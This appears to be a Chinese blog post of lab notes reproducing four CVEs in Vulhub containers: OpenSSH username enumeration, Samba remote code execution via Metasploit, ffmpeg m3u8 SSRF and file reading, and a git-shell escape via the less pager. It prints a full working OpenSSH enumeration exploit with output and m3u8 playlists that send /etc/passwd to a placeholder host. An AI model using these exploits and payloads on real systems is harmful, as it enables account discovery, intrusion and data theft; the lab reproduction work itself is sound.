CVE
CVE
在Vulhub上面的CVE复现,一份小记录
OpenSSH
CVE-2018-15473
漏洞内容:在OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,可以判断某个用户名是否存在于目标主机中
漏洞作用:我们用弱口令、爆破等方式进行尝试登录时,ssh需要的用户名和账户名不管是一致还是不一致,都会给我们一个登录延迟的假象,让我们以为可以登录成功,实则不管你的用户名是否是正确的,它都会让你输入密码,然后告诉你登录失败,因此我们必须知道对方用户准确的用户名,让我们在接下来不管是弱口令登录还是暴力破解方面都很有帮助
利用条件:OpenSSH 版本<7.7
漏洞复现:
进入docker更改密码,此处改为
123456
ssh连接docker,查看
/etc/passwd
文件来查看用户名daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false sshd:x:74:74:Privilege-separated SSH:/usr/local/sbin/sshd:/sbin/nologin vulhub:x:1000:1000:,,,:/home/vulhub:/bin/bash example:x:1001:1001:,,,:/home/example:/bin/bash
测试exp
#!/usr/bin/env python # python2 exp.py --port SSH端口 --userList 用户名字典 IP ########################################################################### # ____ _____ _____ _ _ # # / __ \ / ____/ ____| | | | # # | | | |_ __ ___ _ __ | (___| (___ | |__| | # # | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | # # | |__| | |_) | __/ | | |____) |___) | | | | # # \____/| .__/ \___|_| |_|_____/_____/|_| |_| # # | | Username Enumeration # # |_| # # # ########################################################################### # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) # # Vulnerability: CVE-2018-15473 # # Affected Versions: OpenSSH version < 7.7 # # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT # # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit # # Email: Justin.Gardner@SynerComm.com # # Date: August 20, 2018 # ########################################################################### import argparse import logging import paramiko import multiprocessing import socket import string import sys import json from random import randint as rand from random import choice as choice # store function we will overwrite to malform the packet old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] # list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target # with these 3 random usernames (there is an almost 0 possibility that they can be real ones) random_username_list = [] # populate the list for i in range(3): user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20))) random_username_list.append(user) # create custom exception class BadUsername(Exception): def __init__(self): pass # create malicious "add_boolean" function to malform packet def add_boolean(*args, **kwargs): pass # create function to call when username was invalid def call_error(*args, **kwargs): raise BadUsername() # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler def malform_packet(*args, **kwargs): old_add_boolean = paramiko.message.Message.add_boolean paramiko.message.Message.add_boolean = add_boolean result = old_parse_service_accept(*args, **kwargs) #return old add_boolean function so start_client will work again paramiko.message.Message.add_boolean = old_add_boolean return result # create function to perform authentication with malformed packet and desired username def checkUsername(username, tried=0): sock = socket.socket() sock.connect((args.hostname, args.port)) # instantiate transport transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: # server was likely flooded, retry up to 3 times transport.close() if tried < 4: tried += 1 return checkUsername(username, tried) else: print('[-] Failed to negotiate SSH transport') try: transport.auth_publickey(username, paramiko.RSAKey.generate(1024)) except BadUsername: return (username, False) except paramiko.ssh_exception.AuthenticationException: return (username, True) #Successful auth(?) raise Exception("There was an error. Is this the correct version of OpenSSH?") # function to test target system using the randomly generated usernames def checkVulnerable(): vulnerable = True for user in random_username_list: result = checkUsername(user) if result[1]: vulnerable = False return vulnerable def exportJSON(results): data = {"Valid":[], "Invalid":[]} for result in results: if result[1] and result[0] not in data['Valid']: data['Valid'].append(result[0]) elif not result[1] and result[0] not in data['Invalid']: data['Invalid'].append(result[0]) return json.dumps(data) def exportCSV(results): final = "Username, Valid\n" for result in results: final += result[0]+", "+str(result[1])+"\n" return final def exportList(results): final = "" for result in results: if result[1]: final+=result[0]+" is a valid user!\n" else: final+=result[0]+" is not a valid user!\n" return final # assign functions to respective handlers paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error # get rid of paramiko logging logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address") arg_parser.add_argument('--port', type=int, default=22, help="The target port") arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used") arg_parser.add_argument('--outputFile', type=str, help="The output file location") arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location") group = arg_parser.add_mutually_exclusive_group(required=True) group.add_argument('--username', type=str, help="The single username to validate") group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through") args = arg_parser.parse_args() def main(): sock = socket.socket() try: sock.connect((args.hostname, args.port)) sock.close() except socket.error: print('[-] Connecting to host failed. Please check the specified host and port.') sys.exit(1) # first we run the function to check if host is vulnerable to this CVE if not checkVulnerable(): # most probably the target host is either patched or running a version not affected by this CVE print("Target host most probably is not vulnerable or already patched, exiting...") sys.exit(0) elif args.username: #single username passed in result = checkUsername(args.username) if result[1]: print(result[0]+" is a valid user!") else: print(result[0]+" is not a valid user!") elif args.userList: #username list passed in try: f = open(args.userList) except IOError: print("[-] File doesn't exist or is unreadable.") sys.exit(3) usernames = map(str.strip, f.readlines()) f.close() # map usernames to their respective threads pool = multiprocessing.Pool(args.threads) results = pool.map(checkUsername, usernames) try: if args.outputFile: outputFile = open(args.outputFile, "w") except IOError: print("[-] Cannot write to outputFile.") sys.exit(5) if args.outputFormat=='json': if args.outputFile: outputFile.writelines(exportJSON(results)) outputFile.close() print("[+] Results successfully written to " + args.outputFile + " in JSON form.") else: print(exportJSON(results)) elif args.outputFormat=='csv': if args.outputFile: outputFile.writelines(exportCSV(results)) outputFile.close() print("[+] Results successfully written to " + args.outputFile + " in CSV form.") else: print(exportCSV(results)) else: if args.outputFile: outputFile.writelines(exportList(results)) outputFile.close() print("[+] Results successfully written to " + args.outputFile + " in List form.") else: print(exportList(results)) else: # no usernames passed in print("[-] No usernames provided to check") sys.exit(4) if __name__ == '__main__': main()
此处我们还需要一个用户名字典,可以自行构造,也可以用github上面一个开源项目SecLists,节约时间我们自行构造一个简短list,最终测试结果如下
admin is not a valid user! bin is a valid user! sys is a valid user! sync is a valid user! games is a valid user! man is a valid user! lp is a valid user! 111 is not a valid user! 1243 is not a valid user! sahdsa is not a valid user! jalba is not a valid user! dsa is not a valid user! fe is not a valid user! qf is not a valid user! ds is not a valid user! vc is not a valid user! dsshg is not a valid user! rsa is not a valid user! grdfsbvfgd is not a valid user! sb is not a valid user! fgd is not a valid user! s is not a valid user! bgfd is not a valid user! s is not a valid user! g is not a valid user! fds is not a valid user! g is not a valid user! fd is not a valid user! sgf is not a valid user! ds is not a valid user! g is not a valid user! fdsh is not a valid user! tr is not a valid user! wnbyrsbf is not a valid user! dgs is not a valid user! root is a valid user!
显然漏洞存在,而当我们对高级版本的SSH进行测试时,exp失效
Samba(SMB)
CVE-2017-7494
漏洞内容:只需要有一个可以写入文件的用户就可以提权到root权限
漏洞作用:RCE
影响范围:Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本
漏洞复现:
vulhub直接起一个docker
使用msf搜索对应漏洞
search is_known_pipename
使用set命令设置rhost
如果对方服务开启了匿名登录直接使用run命令即可,如果已知用户名密码可使用set smbuser和smbpass来指定用户登录
成功拿shell
ffmpeg
CVE-2016-1897
漏洞内容:首先了解一下m3u8文件格式,m3u8是一种索引文件,用于HLS协议传输媒体流,m3u8索引指向一个个小的媒体流碎片
简而言之,HLS 是新一代流媒体传输协议,其基本实现原理为将一个大的媒体文件进行分片,将该分片文件资源路径记录于 m3u8 文件(即 playlist)内,其中附带一些额外描述(比如该资源的多带宽信息···)用于提供给客户端。客户端依据该 m3u8 文件即可获取对应的媒体资源,进行播放。
一个基本的m3u8文件格式如下
m3u8 文件必须以 utf-8 进行编码,不能使用 Byte Order Mark(BOM)字节序, 不能包含 utf-8 控制字符(U+0000 ~ U_001F 和 U+007F ~ u+009F)。
m3u8 文件的每一行要么是一个 URI,要么是空行,要么就是以 # 开头的字符串。不能出现空白字符,除了显示声明的元素。
m3u8 文件中以 # 开头的字符串要么是注释,要么就是标签。标签以 #EXT 开头,大小写敏感。
```
各参数说明:
#EXTM3U 标签是 m3u8 的文件头,开头必须要这一行
#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1
#EXTINF:10.0, 表示该一段 TS 流文件的长度
#EXT-X-ENDLIST 这个相当于文件结束符```m3u8 #EXTM3U #EXT-X-TARGETDURATION:10 #EXTINF:9.009, http://media.example.com/first.ts #EXTINF:9.009, http://media.example.com/second.ts #EXTINF:3.003, http://media.example.com/third.ts #EXT-X-ENDLIST
而在ffmpeg特定版本中并没有对URI进行任何检查,此处可导致SSRF,只需要监听一个端口然后直接访问即可验证
任意文件读取成因是在ffmpeg中有concat函数可以对URI进行拼接,我们只要将文件作为http请求的参数即可带出,但直接使用concat并不会对文件请求访问,所以我们需要一个小技巧,也就是通过主m3u8访问次级m3u8来使得文件被读取
kkk.txt
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://xxx/test.txt|file:///etc/passwd
#EXT-X-ENDLIST
text.txt
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://xxx/?
xxx.m3u8
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://xxx/kkk.txt
#EXT-X-ENDLIST
将kkk.txt和text.txt都上传到服务器,然后用ffmpeg处理xxx.m3u8文件即可带出passwd文件首行
Git
CVE-2017-8386
漏洞成因:
当我们想从github克隆一份代码下来的时候,会有ssh克隆的选项,我们去随便捞一个地址,找到Clone with SSH里列出的地址:
git@github.com:Jlan45/j1an.github.io.git
其实就是通过ssh协议连接github使用git用户将这个文件搞下来那我们猜想一下,是不是直接ssh链接就能和我们链接一个服务器一样去执行命令呢
测试发现我们确实连接上了服务器,但是服务器给我们弹了一句话就让我们强制退出了
这是怎么做到的咧
那么,github这类git服务商是怎么实现上述“安全”通信的流程的呢?
让用户可以通过ssh认证身份,但又不给用户shell,这个过程有两种方法实现:
创建系统用户git的时候将其shell设置成git-shell
在authorized_keys文件每个ssh-key的前面设置command,覆盖或劫持重写原本的命令
第一种方法比较直观,就是创建用户的时候不给其正常的bash或sh的shell,而是给它一个git-shell。git-shell是一个沙盒环境,在git-shell下,只允许执行沙盒内包含的命令。
————————————————
版权声明:本文为CSDN博主「建瓯最坏」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/JiangBuLiu/article/details/95065034在github中确实是只有这三条命令可用
git-receive-pack <argument>
git-upload-pack <argument>
git-upload-archive <argument>
但是后面有了参数,我们就可以通过–help来打开一个man页面,并且其会自动调用less命令,而通过less命令我们就能直接通过
shift+e
键来实现任意文件读取,甚至可以通过!命令
来实现任意命令执行
漏洞内容:通过github的SSH实现任意文件读取
漏洞复现:
首先还是vulhub启一个服务器,可以看到目录下有id_rsa私钥文件,我们直接通过这个私钥来连接docker,并且执行
git-upload-archive '--help'
命令可以看到命令执行成功进入了man页面
尝试读取/etc/passwd
读取成功